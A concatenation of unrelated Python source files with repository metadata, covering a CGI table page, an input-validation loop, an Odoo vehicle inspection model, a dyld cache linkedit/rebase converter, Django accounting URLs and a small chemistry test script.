print('<tr><td>ID</td><td>pv</td><td>sv</td><td>gpslat</td><td>gpslong</td><td>pbbid</td><td>sbbid</td></tr>') for row in result: print('<tr>') for value in row: print('<td>{}</td>'.format(value)) print('</tr>') print('</table>') #Closing connection cursor.close() except Exception as e: print('<h1>An error occurred.</h1>') print('<form action="page.cgi" method="get">') print('<p><input type="submit" value="Return"/></p>') print('</form>') finally: if connection is not None: connection.close() print('<form action="page.cgi" method="get">') print('<p><input type="submit" value="Return"/></p>') print('</form>') print('</body>') print('</html>')

[ "noreply@github.com" ]

andretavluis.noreply@github.com

7bb0d72071327484001e9078ca7127159bd0f30b

8f441cd3f02c7ee7b83bbe0196235f9df6ecc30b

/input_validation/another_validation.py

90d8e1e5694ce662e09db0323cc222b199ba0e95

[]

no_license

dcoreyrasm/SoftwareDesign

33057ebd88872596b96dfa50f963bcde7190da52

58c729964fab108fd1aee364ac7c20f269b2fc30

refs/heads/master

2021-01-09T06:41:06.870660

2016-09-14T00:38:04

66,110,002

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null

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py

#Program prompts user to enter an integer between 5 and 10 (inclusive) until #they do so correctly. number = input("Enter an integer between 5 and 10 (inclusive): ") while number >10 or number < 5: print "Invalid input!", number = input("Enter an integer between 5 and 10 (inclusive): ") print ("Thank-you!")

[ "dcorey.rasmussen@gmail.com" ]

dcorey.rasmussen@gmail.com

e98867a3a197ebb29a8f23339ac78c503871d5d3

b4dfb1830d6ce53bc131b3fbc8fbc54c85c017f1

/vehicle/models/vehi_assessment.py

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faizasaeed97/sales-module

843d41ded4d4cafc3e69618e2c86407be548ee9c

80c60daef01665651a25cfbd3117a354a2764068

refs/heads/master

2023-02-09T00:41:26.611256

2020-11-24T09:00:20

325,536,230

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py

from odoo import api, fields, models, _, tools from odoo.osv import expression import base64 from odoo import modules from odoo.exceptions import AccessError, UserError, ValidationError from PIL import Image class vehicel_assessment(models.Model): _name = 'vehicle.assessment' selection_body = [ ('accident', 'accident'), ('non-accident', 'non-accident'), ] selection_engine = [ ('complete', 'complete'), ('un-complete', 'uncomplete'), ('leakage', 'leakage'), ('non-leakage', 'non-leakage'), ('noise', 'noise'), ('no-noise', 'no-noise'), ('present', 'present'), ('not-present', 'not-present'), ('vibration', 'vibration'), ('non-vibrate', 'non-vibrate'), ('ok', 'ok'), ('not-ok', 'not-ok'), ] selection_brakes = [ ('smooth', 'smooth'), ('morethan50', 'more than 50%'), ('lessthan50', 'less than 50%'), ('ok', 'ok'), ('not-ok', 'not-ok'), ] selection_suspension = [ ('accident', 'accident'), ('non-accident', 'non-accident'), ('ok', 'ok'), ('not-ok', 'not-ok'), ] selection_interior = [ ('ok', 'ok'), ('not-ok', 'not-ok'), ('working', 'working'), ('not-working', 'not-working'), ] selection_ac = [ ('accident', 'accident'), ('non-accident', 'non-accident'), ('ok', 'ok'), ('not-ok', 'not-ok'), ('working', 'working'), ('not-working', 'not-working'), ] selection_electrical = [ ('accident', 'accident'), ('non-accident', 'non-accident'), ('noise', 'noise'), ('no-noise', 'no-noise'), ('present', 'present'), ('not-present', 'not-present'), ('vibration', 'vibration'), ('non-vibrate', 'non-vibrate'), ('ok', 'ok'), ('not-ok', 'not-ok'), ] selection_exterior = [ ('accident', 'accident'), ('non-accident', 'non-accident'), ('noise', 'noise'), ('no-noise', 'no-noise'), ('present', 'present'), ('not-present', 'not-present'), ('vibration', 'vibration'), ('non-vibrate', 'non-vibrate'), ('ok', 'ok'), ('not-ok', 'not-ok'), ] selection_tyre = [ ('accident', 'accident'), ('non-accident', 'non-accident'), ('noise', 'noise'), ('no-noise', 'no-noise'), ('present', 'present'), ('not-present', 'not-present'), ('vibration', 'vibration'), ('non-vibrate', 'non-vibrate'), ('ok', 'ok'), ('not-ok', 'not-ok'), ] selection_drive = [ ('accident', 'accident'), ('non-accident', 'non-accident'), ('noise', 'noise'), ('no-noise', 'no-noise'), ('present', 'present'), ('not-present', 'not-present'), ('vibration', 'vibration'), ('non-vibrate', 'non-vibrate'), ('ok', 'ok'), ('not-ok', 'not-ok'), ] name = fields.Char('Name') vehicle = fields.Many2one('vehicle') Radiator_Core_Support = fields.Selection(selection_body,string="Radiator") Radiator_Core_Support_img= fields.Selection(selection_body,string="Radiator") Right_Strut_Tower_Apron= fields.Selection(selection_body,string="Radiator") Right_Strut_Tower_Apron_img= fields.Selection(selection_body,string="Radiator") Left_Strut_Tower_Apron= fields.Selection(selection_body,string="Radiator") Left_Strut_Tower_Apron_img= fields.Selection(selection_body,string="Radiator") Right_Front_Rail= fields.Selection(selection_body,string="Radiator") Right_Front_Rail_img= fields.Selection(selection_body,string="Radiator") Left_Front_Rail= fields.Selection(selection_body,string="Radiator") Left_Front_Rail_img= fields.Selection(selection_body,string="Radiator") Cowl_Panel_Firewall= fields.Selection(selection_body,string="Radiator") Cowl_Panel_Firewall_img= fields.Selection(selection_body,string="Radiator") RightA_Pillar= fields.Selection(selection_body,string="Radiator") RightA_Pillar_img= fields.Selection(selection_body,string="Radiator") LeftA_Pillar= fields.Selection(selection_body,string="Radiator") LeftA_Pillar_img= fields.Selection(selection_body,string="Radiator") RightB_Pillar= fields.Selection(selection_body,string="Radiator") RightB_Pillar_img= fields.Selection(selection_body,string="Radiator") LeftB_Pillar= fields.Selection(selection_body,string="Radiator") LeftB_Pillar_img= fields.Selection(selection_body,string="Radiator") RightC_Pillar= fields.Selection(selection_body,string="Radiator") RightC_Pillar_img= fields.Selection(selection_body,string="Radiator") LeftC_Pillar= fields.Selection(selection_body,string="Radiator") LeftC_Pillar_img= fields.Selection(selection_body,string="Radiator") Boot_Floor= fields.Selection(selection_body,string="Radiator") Boot_Floor_img= fields.Selection(selection_body,string="Radiator") Boot_Lock_Pillar= fields.Selection(selection_body,string="Radiator") Boot_Lock_Pillar_img= fields.Selection(selection_body,string="Radiator") Front_Sub_Frame= fields.Selection(selection_body,string="Radiator") Front_Sub_Frame_img= fields.Selection(selection_body,string="Radiator") Rear_Sub_Frame= fields.Selection(selection_body,string="Radiator") Rear_Sub_Frame_img= fields.Selection(selection_body,string="Radiator") # --------------------------------------------------------------- Engine_Oil_Level= fields.Selection(selection_engine,string="Radiator") Engine_Oil_Level_img= fields.Selection(selection_engine,string="Radiator") Engine_Oil_Leakage= fields.Selection(selection_engine,string="Radiator") Engine_Oil_Leakage_img= fields.Selection(selection_engine,string="Radiator") Transmission_Oil_Leakage= fields.Selection(selection_engine,string="Radiator") Transmission_Oil_Leakage_img= fields.Selection(selection_engine,string="Radiator") Brake_Oil_Level= fields.Selection(selection_engine,string="Radiator") Brake_Oil_Level_img= fields.Selection(selection_engine,string="Radiator") Brake_Oil_Leakage= fields.Selection(selection_engine,string="Radiator") Brake_Oil_Leakage_img= fields.Selection(selection_engine,string="Radiator") Washer_Fluid_Level= fields.Selection(selection_engine,string="Radiator") Washer_Fluid_Level_img= fields.Selection(selection_engine,string="Radiator") Washer_Fluid_Leakage= fields.Selection(selection_engine,string="Radiator") Washer_Fluid_Leakage_img= fields.Selection(selection_engine,string="Radiator") Coolant_Leakage= fields.Selection(selection_engine,string="Radiator") Coolant_Leakage_img= fields.Selection(selection_engine,string="Radiator") Catalytic_Convertor= fields.Selection(selection_engine,string="Radiator") Catalytic_Convertor_img= fields.Selection(selection_engine,string="Radiator") Exhaust_Sound= fields.Selection(selection_engine,string="Radiator") Exhaust_Sound_img= fields.Selection(selection_engine,string="Radiator") Exhaust_Joints= fields.Selection(selection_engine,string="Radiator") Exhaust_Joints_img= fields.Selection(selection_engine,string="Radiator") Radiator= fields.Selection(selection_engine,string="Radiator") Radiator_img= fields.Selection(selection_engine,string="Radiator") Suction_Fan= fields.Selection(selection_engine,string="Radiator") Suction_Fan_img= fields.Selection(selection_engine,string="Radiator") Starter_Operation= fields.Selection(selection_engine,string="Radiator") Starter_Operation_img= fields.Selection(selection_engine,string="Radiator") # brakes=============================================================== Front_Right_Disc= fields.Selection(selection_brakes,string="Radiator") Front_Right_Disc_img= fields.Selection(selection_brakes,string="Radiator") Front_Left_Disc= fields.Selection(selection_brakes,string="Radiator") Front_Left_Disc_img= fields.Selection(selection_brakes,string="Radiator") Front_Right_Brake_Pad= fields.Selection(selection_brakes,string="Radiator") Front_Right_Brake_Pad_img= fields.Selection(selection_brakes,string="Radiator") Front_Left_Brake_Pad= fields.Selection(selection_brakes,string="Radiator") Front_Left_Brake_Pad_img= fields.Selection(selection_brakes,string="Radiator") Parking_Hand_Brake= fields.Selection(selection_brakes,string="Radiator") Parking_Hand_Brake_img= fields.Selection(selection_brakes,string="Radiator") # Interior=============================================================== Steering_Wheel_Condition= fields.Selection(selection_interior,string="Radiator") Steering_Wheel_Condition_img= fields.Selection(selection_interior,string="Radiator") Steering_Wheel_Buttons= fields.Selection(selection_interior,string="Radiator") Steering_Wheel_Buttons_img= fields.Selection(selection_interior,string="Radiator") Horn= fields.Selection(selection_interior,string="Radiator") Horn_img= fields.Selection(selection_interior,string="Radiator") Lights_Lever_Switch= fields.Selection(selection_interior,string="Radiator") Lights_Lever_Switch_img= fields.Selection(selection_interior,string="Radiator") Wiper_Washer_Lever= fields.Selection(selection_interior,string="Radiator") Wiper_Washer_Lever_img= fields.Selection(selection_interior,string="Radiator") # AC heater=============================================================== AC_Fitted= fields.Selection(selection_ac,string="Radiator") AC_Fitted_img= fields.Selection(selection_ac,string="Radiator") AC_Operational= fields.Selection(selection_ac,string="Radiator") AC_Operational_img= fields.Selection(selection_ac,string="Radiator") Blower_Condenser= fields.Selection(selection_ac,string="Radiator") Blower_Condenser_img= fields.Selection(selection_ac,string="Radiator") Compressor_Operatio= fields.Selection(selection_ac,string="Radiator") Compressor_Operatio_img= fields.Selection(selection_ac,string="Radiator") Cooling_Excellent= fields.Selection(selection_ac,string="Radiator") Cooling_Excellent_img= fields.Selection(selection_ac,string="Radiator") Heating= fields.Selection(selection_ac,string="Radiator") Heating_img= fields.Selection(selection_ac,string="Radiator") # electial heater=============================================================== Voltage= fields.Selection(selection_electrical,string="Radiator") Voltage_img= fields.Selection(selection_electrical,string="Radiator") Terminals_Condition= fields.Selection(selection_electrical,string="Radiator") Terminals_Condition_img= fields.Selection(selection_electrical,string="Radiator") Charging= fields.Selection(selection_electrical,string="Radiator") Charging_img= fields.Selection(selection_electrical,string="Radiator") Alternator_Operation= fields.Selection(selection_electrical,string="Radiator") Alternator_Operation_img= fields.Selection(selection_electrical,string="Radiator") Gauges= fields.Selection(selection_electrical,string="Radiator") Gauges_img= fields.Selection(selection_electrical,string="Radiator") # exterior--------------------------------------------- Trunk_Lock= fields.Selection(selection_exterior,string="Radiator") Trunk_Lock_img= fields.Selection(selection_exterior,string="Radiator") Front_Windshield_Condition= fields.Selection(selection_exterior,string="Radiator") Front_Windshield_Condition_img= fields.Selection(selection_exterior,string="Radiator") Rear_Windshield_Condition= fields.Selection(selection_exterior,string="Radiator") Rear_Windshield_Condition_img= fields.Selection(selection_exterior,string="Radiator") Front_Right_Door_Fittings= fields.Selection(selection_exterior,string="Radiator") Front_Right_Door_Fittings_img= fields.Selection(selection_exterior,string="Radiator") Front_Left_Door_Fittings= fields.Selection(selection_exterior,string="Radiator") Front_Left_Door_Fittings_img= fields.Selection(selection_exterior,string="Radiator") Rear_Right_Door_Fittings= fields.Selection(selection_exterior,string="Radiator") Rear_Right_Door_Fittings_img= fields.Selection(selection_exterior,string="Radiator") Rear_Left_Door_Fittings= fields.Selection(selection_exterior,string="Radiator") Rear_Left_Door_Fittings_img= fields.Selection(selection_exterior,string="Radiator") Front_Right_Door_Levers= fields.Selection(selection_exterior,string="Radiator") Front_Right_Door_Levers_img= fields.Selection(selection_exterior,string="Radiator") Front_Left_Door_Levers= fields.Selection(selection_exterior,string="Radiator") Front_Left_Door_Levers_img= fields.Selection(selection_exterior,string="Radiator") Rear_Right_Door_Levers= fields.Selection(selection_exterior,string="Radiator") Rear_Right_Door_Levers_img= fields.Selection(selection_exterior,string="Radiator") Rear_Left_Door_Levers= fields.Selection(selection_exterior,string="Radiator") Rear_Left_Door_Levers_img= fields.Selection(selection_exterior,string="Radiator") Front_Right_Door_Window= fields.Selection(selection_exterior,string="Radiator") Front_Right_Door_Window_img= fields.Selection(selection_exterior,string="Radiator") Front_Left_Door_Window= fields.Selection(selection_exterior,string="Radiator") Front_Left_Door_Window_img= fields.Selection(selection_exterior,string="Radiator") Rear_Right_Door_Window= fields.Selection(selection_exterior,string="Radiator") Rear_Right_Door_Window_img= fields.Selection(selection_exterior,string="Radiator") Rear_Left_Door_Window= fields.Selection(selection_exterior,string="Radiator") Rear_Left_Door_Window_img= fields.Selection(selection_exterior,string="Radiator") Windscreen_Wiper= fields.Selection(selection_exterior,string="Radiator") Windscreen_Wiper_img= fields.Selection(selection_exterior,string="Radiator") Right_Headlight= fields.Selection(selection_exterior,string="Radiator") Right_Headlight_img= fields.Selection(selection_exterior,string="Radiator") Left_Headlight= fields.Selection(selection_exterior,string="Radiator") Left_Headlight_img= fields.Selection(selection_exterior,string="Radiator") Right_Headlight= fields.Selection(selection_exterior,string="Radiator") Right_Headlight_img= fields.Selection(selection_exterior,string="Radiator") Left_Headlight= fields.Selection(selection_exterior,string="Radiator") Left_Headlight_img= fields.Selection(selection_exterior,string="Radiator") Right_Taillight= fields.Selection(selection_exterior,string="Radiator") Right_Taillight_img= fields.Selection(selection_exterior,string="Radiator") Left_Taillight= fields.Selection(selection_exterior,string="Radiator") Left_Taillight_img= fields.Selection(selection_exterior,string="Radiator") Right_Taillight= fields.Selection(selection_exterior,string="Radiator") Right_Taillight_img= fields.Selection(selection_exterior,string="Radiator") Left_Taillight= fields.Selection(selection_exterior,string="Radiator") Left_Taillight_img= fields.Selection(selection_exterior,string="Radiator") Number_Plate_Lights= fields.Selection(selection_exterior,string="Radiator") Number_Plate_Lights_img= fields.Selection(selection_exterior,string="Radiator") Number_Plate_Lights= fields.Selection(selection_exterior,string="Radiator") Number_Plate_Lights_img= fields.Selection(selection_exterior,string="Radiator") Fog_Lights_Working= fields.Selection(selection_exterior,string="Radiator") Fog_Lights_Working_img= fields.Selection(selection_exterior,string="Radiator") Fog_Lights= fields.Selection(selection_exterior,string="Radiator") Fog_Lights_img= fields.Selection(selection_exterior,string="Radiator") Reverse_Light= fields.Selection(selection_exterior,string="Radiator") Reverse_Light_img= fields.Selection(selection_exterior,string="Radiator") Windscreen_Wiper_Rubbers= fields.Selection(selection_exterior,string="Radiator") Windscreen_Wiper_Rubbers_img= fields.Selection(selection_exterior,string="Radiator") # Tyres--------------------------------------------- Front_Right_Tyre= fields.Selection(selection_tyre,string="Radiator") Front_Right_Tyre_img= fields.Selection(selection_tyre,string="Radiator") Front_Left_Tyre= fields.Selection(selection_tyre,string="Radiator") Front_Left_Tyre_img= fields.Selection(selection_tyre,string="Radiator") Rear_Right_Tyre= fields.Selection(selection_tyre,string="Radiator") Rear_Right_Tyre_img= fields.Selection(selection_tyre,string="Radiator") Rear_Left_Tyre= fields.Selection(selection_tyre,string="Radiator") Rear_Left_Tyre_img= fields.Selection(selection_tyre,string="Radiator") Spare_Tyre= fields.Selection(selection_tyre,string="Radiator") Spare_Tyre_img= fields.Selection(selection_tyre,string="Radiator") Brand_Name= fields.Selection(selection_tyre,string="Radiator") Brand_Name_img= fields.Selection(selection_tyre,string="Radiator") Tyre_Size= fields.Selection(selection_tyre,string="Radiator") Tyre_Size_img= fields.Selection(selection_tyre,string="Radiator") Rims= fields.Selection(selection_tyre,string="Radiator") Rims_img= fields.Selection(selection_tyre,string="Radiator") Wheel_Caps= fields.Selection(selection_tyre,string="Radiator") Wheel_Caps_img= fields.Selection(selection_tyre,string="Radiator") # Test drive--------------------------------------------- Engine_Noise= fields.Selection(selection_drive,string="Radiator") Engine_Noise_img= fields.Selection(selection_drive,string="Radiator") Engine_Pick= fields.Selection(selection_drive,string="Radiator") Engine_Pick_img= fields.Selection(selection_drive,string="Radiator") Gear_Shifting= fields.Selection(selection_drive,string="Radiator") Gear_Shifting_img= fields.Selection(selection_drive,string="Radiator") Drive_Shaft_Noise= fields.Selection(selection_drive,string="Radiator") Drive_Shaft_Noise_img= fields.Selection(selection_drive,string="Radiator") Brake_Pedal_Operation= fields.Selection(selection_drive,string="Radiator") Brake_Pedal_Operation_img= fields.Selection(selection_drive,string="Radiator") ABS_Operation= fields.Selection(selection_drive,string="Radiator") ABS_Operation_img= fields.Selection(selection_drive,string="Radiator") Front_Suspension= fields.Selection(selection_drive,string="Radiator") Front_Suspension_img= fields.Selection(selection_drive,string="Radiator") Rear_Suspension= fields.Selection(selection_drive,string="Radiator") Rear_Suspension_img= fields.Selection(selection_drive,string="Radiator") Steering_Operation= fields.Selection(selection_drive,string="Radiator") Steering_Operation_img= fields.Selection(selection_drive,string="Radiator") Steering_Wheel_Alignment= fields.Selection(selection_drive,string="Radiator") Steering_Wheel_Alignment_img= fields.Selection(selection_drive,string="Radiator") Heater_Operation= fields.Selection(selection_drive,string="Radiator") Heater_Operation_img= fields.Selection(selection_drive,string="Radiator") AC_Operation= fields.Selection(selection_drive,string="Radiator") AC_Operation_img= fields.Selection(selection_drive,string="Radiator") Speedometer= fields.Selection(selection_drive,string="Radiator") Speedometer_img= fields.Selection(selection_drive,string="Radiator")

[ "rao.kashif8787@gmail.com" ]

rao.kashif8787@gmail.com

5dbeac0b41a5a9769e34bc790b7a36b13aa7a48c

1ea814382e6038b68c2978cf3c2e0410f1a90371

/DyldExtractor/Converter/LinkeditConverter.py

c01947447aa001ef615efff87c690e3abb70d9b2

[]

no_license

sohsatoh/DyldExtractor

94a9dd7da9601e24ca1e0e6909ef0584fedf3c8c

42b5cf65619e9d54999d9000d72b32ae4be68a2a

refs/heads/master

2023-02-19T23:01:14.557607

2020-12-12T16:57:17

null

0

null

UTF-8

Python

false

11,658

py

import struct import typing from DyldExtractor import MachO from DyldExtractor import Dyld from DyldExtractor import Uleb128 class LinkeditConverter(object): """Rebuilds the linkedit. The all the linkedit segments in the dyld are combined into one big linkedit segment that is shared by all images. This class rebuilds the linkedit segment, decaching only the necessary data. """ exports: typing.List[MachO.TrieEntry] localSymEntry: Dyld.dyld_cache_local_symbols_entry def __init__(self, machoFile: MachO.MachoFile, dyldFile: Dyld.DyldFile) -> None: self.machoFile = machoFile self.dyldFile = dyldFile pass def convert(self) -> None: self.readExports() self.getLocalSymEntry() self.buildSymbolTable() self.pointerAlignData() pass def readExports(self) -> None: """ Gets export symbols """ exportData = self.machoFile.getLoadCommand((MachO.LoadCommands.LC_DYLD_INFO, MachO.LoadCommands.LC_DYLD_INFO_ONLY)).exportData self.exports = MachO.TrieParser(exportData).parse() # remove any non ReExport symbols reExportDeps = [] deps = self.machoFile.getLoadCommand( ( MachO.LoadCommands.LC_LOAD_DYLIB, MachO.LoadCommands.LC_LOAD_WEAK_DYLIB, MachO.LoadCommands.LC_REEXPORT_DYLIB, MachO.LoadCommands.LC_LOAD_UPWARD_DYLIB ), multiple=True ) if deps: depIndex = 0 for dep in deps: depIndex += 1 if dep.cmd == MachO.LoadCommands.LC_REEXPORT_DYLIB: reExportDeps.append(depIndex) def isReExport(entry: MachO.TrieEntry) -> bool: if (entry.flags & MachO.Export.EXPORT_SYMBOL_FLAGS_KIND_MASK) != MachO.Export.EXPORT_SYMBOL_FLAGS_KIND_REGULAR: return True if (entry.flags & MachO.Export.EXPORT_SYMBOL_FLAGS_REEXPORT) == 0: return True if entry.other in reExportDeps: return True return False self.exports = [export for export in self.exports if isReExport(export)] pass def getLocalSymEntry(self) -> None: """ Gets the local symbol entry from the Dyld header. """ textSeg = self.machoFile.getSegment(b"__TEXT\x00") for entry in self.dyldFile.localSymbolInfo.entries: if entry.dylibOffset == textSeg.fileoff: self.localSymEntry = entry break pass def calculateEntryCount(self) -> int: """ Calculates and returns the number of entries in the new symbol table. """ symtabCommand: Macho.symtab_command = self.machoFile.getLoadCommand(MachO.LoadCommands.LC_SYMTAB) # count local symbols entryCount = self.localSymEntry.nlistCount # count other symbols for i in range(0, len(symtabCommand.symbolData), 16): nType = struct.unpack_from("<B", symtabCommand.symbolData, i + 4)[0] # skip any locals in cache if (nType & (MachO.NList.N_TYPE | MachO.NList.N_EXT)) == MachO.NList.N_SECT: continue entryCount += 1 # add indirect symbols dysymtabCommand: Macho.dysymtab_command = self.machoFile.getLoadCommand(MachO.LoadCommands.LC_DYSYMTAB) entryCount += dysymtabCommand.nindirectsyms # add room for N_INDR symbols for re-exported symbols entryCount += len(self.exports) return entryCount def buildSymbolTable(self) -> None: """ Rebuilds the symbol table. """ newStrData = b"\x00" newSymTab = b"" symtabCommand: Macho.symtab_command = self.machoFile.getLoadCommand(MachO.LoadCommands.LC_SYMTAB) # copy original symbols for i in range(0, len(symtabCommand.symbolData), MachO.nlist_64.SIZE): symEntry: Macho.nlist_64 = MachO.nlist_64.parseBytes(symtabCommand.symbolData, i) # skip local symbols for now if (symEntry.n_type & (MachO.NList.N_TYPE | MachO.NList.N_EXT)) == MachO.NList.N_SECT: continue # get the symbol symEnd = symtabCommand.stringData.index(b"\x00", symEntry.n_strx) + 1 symbol = symtabCommand.stringData[symEntry.n_strx:symEnd] # adjust the entry and add it to the new tables symEntry.n_strx = len(newStrData) newSymTab += symEntry.asBytes() newStrData += symbol # add N_INDR symbols for export in self.exports: symEntry = MachO.nlist_64() symEntry.n_strx = len(newStrData) symEntry.n_type = MachO.NList.N_INDR | MachO.NList.N_EXT symEntry.n_sect = 0 symEntry.n_desc = 0 newStrData += export.name importName = export.importName if export.importName else export.name symEntry.n_value = len(newStrData) newStrData += importName newSymTab += symEntry.asBytes() # add the local symbols # but first update the load commands dysymtabCommand: Macho.dysymtab_command = self.machoFile.getLoadCommand(MachO.LoadCommands.LC_DYSYMTAB) dysymtabCommand.ilocalsym = int(len(newSymTab) / MachO.nlist_64.SIZE) dysymtabCommand.nlocalsym = self.localSymEntry.nlistCount # add the indirect symbols indirectSymbolLocalCount = 0 indirectsymsData = bytearray(dysymtabCommand.indirectsymsData) for i in range(0, len(indirectsymsData), 4): entryIndex = struct.unpack_from("<I", indirectsymsData, i)[0] if entryIndex == 0x80000000: indirectSymbolLocalCount += 1 continue entryOff = entryIndex * MachO.nlist_64.SIZE entry = MachO.nlist_64.parseBytes(symtabCommand.symbolData, entryOff) # get the symbol symEnd = symtabCommand.stringData.index(b"\x00", entry.n_strx) + 1 sym = symtabCommand.stringData[entry.n_strx:symEnd] # add the entry newEntryIndex = int(len(newSymTab) / MachO.nlist_64.SIZE) struct.pack_into("<I", indirectsymsData, i, newEntryIndex) entry.n_strx = len(newStrData) newSymTab += entry.asBytes() # add the symbol newStrData += sym dysymtabCommand.indirectsymsData = bytes(indirectsymsData) # copy local symbols for i in range(0, self.localSymEntry.nlistCount): symOff = (i + self.localSymEntry.nlistStartIndex) * MachO.nlist_64.SIZE symEntry = MachO.nlist_64.parseBytes(self.dyldFile.localSymbolInfo.nlistData, symOff) localSymEnd = self.dyldFile.localSymbolInfo.stringData.index(b"\x00", symEntry.n_strx) + 1 localSym = self.dyldFile.localSymbolInfo.stringData[symEntry.n_strx:localSymEnd] symEntry.n_strx = len(newStrData) newSymTab += symEntry.asBytes() newStrData += localSym if (self.calculateEntryCount() - indirectSymbolLocalCount) != (len(newSymTab) / MachO.nlist_64.SIZE): raise Exception("symbol count miscalculation") # set the new data symtabCommand.symbolData = newSymTab symtabCommand.nsyms = int(len(newSymTab) / MachO.nlist_64.SIZE) symtabCommand.stringData = newStrData symtabCommand.strsize = len(newStrData) pass def pointerAlignData(self) -> None: """ Rounds up the size of various sections to the next pointer. Assume that the pointer size is 64 bits. """ funcStarts = self.machoFile.getLoadCommand(MachO.LoadCommands.LC_FUNCTION_STARTS) while (len(funcStarts.linkeditData) % 8) != 0: funcStarts.linkeditData += b"\x00" funcStarts.datasize = len(funcStarts.linkeditData) symtab = self.machoFile.getLoadCommand(MachO.LoadCommands.LC_SYMTAB) while (len(symtab.stringData) % 8) != 0: symtab.stringData += b"\x00" symtab.strsize = len(symtab.stringData) pass class RebaseConverter(object): """ Processes the compressed slide info from the dyld cache and creates new rebase info. """ def __init__(self, machoFile: MachO.MachoFile, dyldFile: Dyld.DyldFile) -> None: self.machoFile = machoFile self.dyldFile = dyldFile self.rebaseInfo = bytearray() self.rebaseInfo.append(MachO.Rebase.REBASE_OPCODE_SET_TYPE_IMM | MachO.Rebase.REBASE_TYPE_POINTER) def convert(self) -> None: """ Starts the conversion. """ self.rebaseSegment(self.machoFile.getSegment(b"__DATA_CONST\x00")) self.rebaseSegment(self.machoFile.getSegment(b"__DATA\x00")) self.rebaseSegment(self.machoFile.getSegment(b"__DATA_DIRTY\x00")) self.finalize() pass def rebaseSegment(self, segment: MachO.segment_command_64) -> None: """ Processes the slide info for one segment. """ if not segment: return dataStart = self.dyldFile.mappings[1].address # get the page index which contains the start and end of the segment. pageSize = self.dyldFile.slideInfo.page_size startPageAddr = segment.vmaddr - dataStart startPage = int(startPageAddr / pageSize) endPageAddr = (((segment.vmaddr + segment.vmsize) - dataStart) + pageSize) & ~pageSize endPage = int(endPageAddr / pageSize) # process each page pageStarts = struct.iter_unpack("<H", self.dyldFile.slideInfo.pageStartsData) pageStarts = [page[0] for page in pageStarts] for i in range(startPage, endPage): page = pageStarts[i] if page == Dyld.Slide.DYLD_CACHE_SLIDE_PAGE_ATTR_NO_REBASE: pass elif page & Dyld.Slide.DYLD_CACHE_SLIDE_PAGE_ATTR_EXTRA: raise Exception("Can't handle page extras") elif (page & Dyld.Slide.DYLD_CACHE_SLIDE_PAGE_ATTR_EXTRA) == 0: pageOffset = (i * pageSize) + self.dyldFile.mappings[1].fileOffset self.rebasePage(pageOffset, page * 4, segment) else: raise Exception("Unknown page type") pass def rebasePage(self, pageOffset: int, firstRebaseOffset: int, segment: MachO.segment_command_64) -> None: """ processes the rebase infomation in a page ### parameters pageOffset: int The file offset of the page. firstRebaseOffset: int The offset from the start of the page to the first rebase location. segment: segment_command_64 The segment to rebase. """ segmentIndex = self.machoFile.loadCommands.index(segment) deltaMask = self.dyldFile.slideInfo.delta_mask valueMask = ~deltaMask valueAdd = self.dyldFile.slideInfo.value_add # basically __builtin_ctzll(deltaMask) - 2; deltaShift = "{0:b}".format(deltaMask) deltaShift = len(deltaShift) - len(deltaShift.rstrip("0")) deltaShift = deltaShift - 2 delta = 1 rebaseOffset = firstRebaseOffset while delta != 0: realLoc = pageOffset + rebaseOffset self.dyldFile.file.seek(realLoc) rawValueBytes = self.dyldFile.file.read(8) rawValue = struct.unpack("<Q", rawValueBytes)[0] delta = (rawValue & deltaMask) >> deltaShift value = rawValue & valueMask if value: value += valueAdd # if the location is within the segment, adjust the data if realLoc >= segment.fileoff and realLoc < (segment.fileoff + segment.filesize): self.slideLocation(realLoc, value, segment) # add a rebase entry self.rebaseInfo.append(MachO.Rebase.REBASE_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB | segmentIndex) self.rebaseInfo += Uleb128.encodeUleb128(realLoc - segment.fileoff) self.rebaseInfo.append(MachO.Rebase.REBASE_OPCODE_DO_REBASE_IMM_TIMES | 0x1) rebaseOffset += delta def slideLocation(self, fileOffset: int, value: int, segment: MachO.segment_command_64) -> None: """ Sets the value at the file offset. """ # find the section with the fileOffset containingSect = None for section in segment.sections: if fileOffset >= section.offset and fileOffset < (section.offset + section.size): containingSect = section break if not containingSect: raise Exception("Unable to find section") # write it sectionOff = fileOffset - containingSect.offset sectionData = section.sectionData[0:sectionOff] sectionData += struct.pack("<Q", value) sectionData += section.sectionData[sectionOff+8:] containingSect.sectionData = sectionData def finalize(self) -> None: """ Finalizes the rebase info, and sets the data in the macho file. """ self.rebaseInfo.append(MachO.Rebase.REBASE_OPCODE_DONE) dyldCommand = self.machoFile.getLoadCommand((MachO.LoadCommands.LC_DYLD_INFO, MachO.LoadCommands.LC_DYLD_INFO_ONLY)) dyldCommand.rebaseData = bytes(self.rebaseInfo) dyldCommand.rebase_size = len(self.rebaseInfo)

[ "haow6449@gmail.com" ]

haow6449@gmail.com

a85dbcfc2e92bd6e5126aad546f04d9e46064802

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/accounting/urls.py

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[]

no_license

numan98khan/django-school-management

c048067a814787c9d272745264891ecb5e6ee370

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refs/heads/master

2022-05-01T01:29:45.294035

2020-01-10T11:01:02

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# Copyright (c) 2015-2019 Data King Ltd # See LICENSE file for license details from django.conf.urls import * from accounting.views import * app_name = 'accounting' urlpatterns = ( url( r'^account_chart/(?P<fy>\w+)/$', AccountChartView.as_view(), name='account_chart' ), url( r'^general-ledger/(?P<fy>\w+)/$', GeneralLedgerView.as_view(), name='general_ledger' ), url( r'^general-journal/(?P<fy>\w+)/$', JournalView.as_view(), name='general_journal' ), url( r'^journal/(?P<fy>\w+)/(?P<code>[^/]+)/$', JournalView.as_view(), name='journal' ) )

[ "numan98khan@gmail.com" ]

numan98khan@gmail.com

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/SMRFF/utest.py

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[]

no_license

sunatthegilddotcom/perovskite-solvents

3d9b9fc53d7a4c30dd55131c84a1493043c55367

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refs/heads/master

2021-05-31T14:20:57.073824

2016-06-01T21:12:26

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from merlin import * #utils.opt_opls('methacrolein', taboo_time=10) extra = { (19, 66): (47, 3, 46):(85.00, 120.00), (47, 47, 3, 46):(0.0, 14.0, 0.0, 0.0) } #torsion 46 47 47 46 0.000 0.0 1 14.000 180.0 2 0.000 0.0 3 for name in ['pbcl_p']: print utils.Molecule('cml/'+name, check_charges= False) #2 6 [20, 48, 48, 13, 48, 49, 46, 46, 46, 49, 49] #2 4 [5, 48, 48, 13, 48, 49, 46, 46, 46, 49, 49] #2 17 [20, 48, 48, 13, 48, 49, 46, 46, 46, 49, 49]

[ "jminuse@gmail.com" ]

jminuse@gmail.com

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03969015ab882f4751dc0e91beeda1212babca48

